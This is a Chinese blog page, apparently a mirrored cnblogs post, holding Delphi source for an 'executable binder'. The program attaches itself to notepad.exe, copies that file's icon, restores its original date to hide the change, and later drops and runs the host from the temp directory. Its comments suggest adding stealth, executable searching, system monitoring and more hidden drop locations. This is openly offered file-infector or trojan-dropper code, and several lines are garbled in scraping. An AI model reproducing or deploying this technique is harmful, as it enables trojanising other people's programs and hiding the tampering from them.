zoukankan      html  css  js  c++  java
  • 捆绑执行文件

    {
    **********************捆绑执行文件**********************
    **********************参考selfmodify--exe文件自修改*****
    与其它程序捆绑后,图标为其它程序的图标.日期不变
    这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
    如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

    程序中几个数字的确定:
    1 在本程序编译后用Aspack.Exe压缩,大小为41472
    2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节

    与其它程序捆绑的过程:
    本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

    怎么找到图标的位置:
    将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
    十六进制编辑软件:常用UltraEdit。不过我喜欢用自己的东西。
    }
    program exe2;

    uses
    classes,
    Tlhelp32,
    windows,
    graphics,
    ShellAPI,
    SysUtils;

    {$R *.RES}
    var
    lppe:TProcessEntry32;
    found:boolean;
    handle:THandle;
    ProcessStr,ExeName:string;
    WinDir:pchar;
    const
    MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

    procedure copy2(s: string);
    var
    s1,s2,IcoStream:TMemoryStream;
    File2:TFilestream;
    ch:array[0..1] of char;
    ss:string;
    filetime,fhandle:integer;
    l:integer;
    File2Icon:Ticon;
    begin
    {若文件s不存在}
    if FileExists(s)=False then exit;
    try
    {若文件不含图标,就不捆绑}
    File2Icon:=Ticon.Create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
    File2Icon.Free;
    exit;
    end
    else
    begin
    {提取被捆绑程序图标}
    File2Icon.Handle:=extracticon(handle,pchar(s),0);
    IcoStream:=TMemoryStream.Create;
    File2Icon.SaveToStream(IcoStream);
    File2Icon.Free;
    end;
    {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
    File2:=TFilestream.Create(s,fmopenread);
    if File2.Size>MySize then
    begin
    File2.;
    File2.Read(ch,2);
    ss:=copy(ch,1,2);
    if ss='MZ' then
    begin
    File2.Free;
    exit;
    end;
    end;
    File2.Free;
    {将本文件与文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    {
    加入本程序的前部40751字节
    第40752字节开始共640字节为图标数据
    !!以下数字 40751,81要根据实际情况修改!!
    }
    s1.copyfrom(s2,40751);
    {将图标换为被捆绑程序图标,图标大小为766}
    IcoStream.;
    s1.CopyFrom(IcoStream,640);
    IcoStream.Free;
    s2.;
    {加入本程序的后部81字节}
    s1.CopyFrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    {加入被捆绑程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢复文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
    except end;
    end;

    procedure CreateFileAndRun;
    var
    s1,s2:TMemoryStream;
    TempDir:pchar;
    cmdstr:string;
    a:integer;
    Begin
    s1:=TMemoryStream.Create;
    s1.loadfromfile(ExeName);
    if s1.Size=MySize then
    begin
    s1.Free;
    exit;
    end;
    s1.seek(MySize,soFromBeginning);
    s2:=TMemoryStream.Create;
    s2.copyfrom(s1,s1.Size-MySize);
    GetMem(TempDir,255);
    GetTempPath(255,TempDir);
    try
    {
    把文件释放到临时目录。
    如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
    如 c: windows(or winnt) downl...(☆这是个什么目录?你去研究研究吧!☆)
    }
    s2.SaveToFile(TempDir+' '+ExtractFileName(ExeName));
    except end;
    cmdstr:=';
    a:=1;
    while ParamStr(a)<>' do begin
    cmdstr:=cmdstr+ParamStr(a)+' ';
    inc(a);
    end;
    {运行真正的程序文件}
    winexec(pchar(TempDir+' '+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
    freemem(TempDir);
    s2.free;
    s1.free;
    end;

    begin
    GetMem(WinDir,255);
    GetWindowsDirectory(WinDir,255);
    ExeName:=ParamStr(0);
    handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
    found:=Process32First(handle,lppe);
    ProcessStr:=';
    while found do
    begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
    found:=Process32Next(handle,lppe);
    end;
    {如果notepad没运行,就与它捆在一起}
    if pos(WinDir+' notepad.exe',ProcessStr)=0 then
    begin
    copy2(WinDir+' notepad.exe');
    end;
    {其它需要捆绑的文件
    if pos(...,ProcessStr)=0 then
    begin
    copy2(...);
    end;
    ...
    }
    freemem(WinDir);
    {
    你想用这个程序干点其它的什么...
    }
    CreateFileAndRun;{释放文件并带参数运行}
    end.

  • 相关阅读:
    Write an algorithm such that if an element in an MxN matrix is 0, its entire row and column is set to 0.
    旋转二维数组
    replace empty char with new string,unsafe method和native implementation的性能比较
    判断一字符串是否可以另一字符串重新排列而成
    移除重复字符的几个算法简单比较
    也来纠结一下字符串翻转
    判断重复字符存在:更有意义一点
    程序员常去网站汇总
    sublime
    针对程序集 'SqlServerTime' 的 ALTER ASSEMBLY 失败,因为程序集 'SqlServerTime' 未获授权(PERMISSION_SET = EXTERNAL_ACCESS)
  • 原文地址:https://www.cnblogs.com/martian6125/p/9631566.html
Copyright © 2011-2022 走看看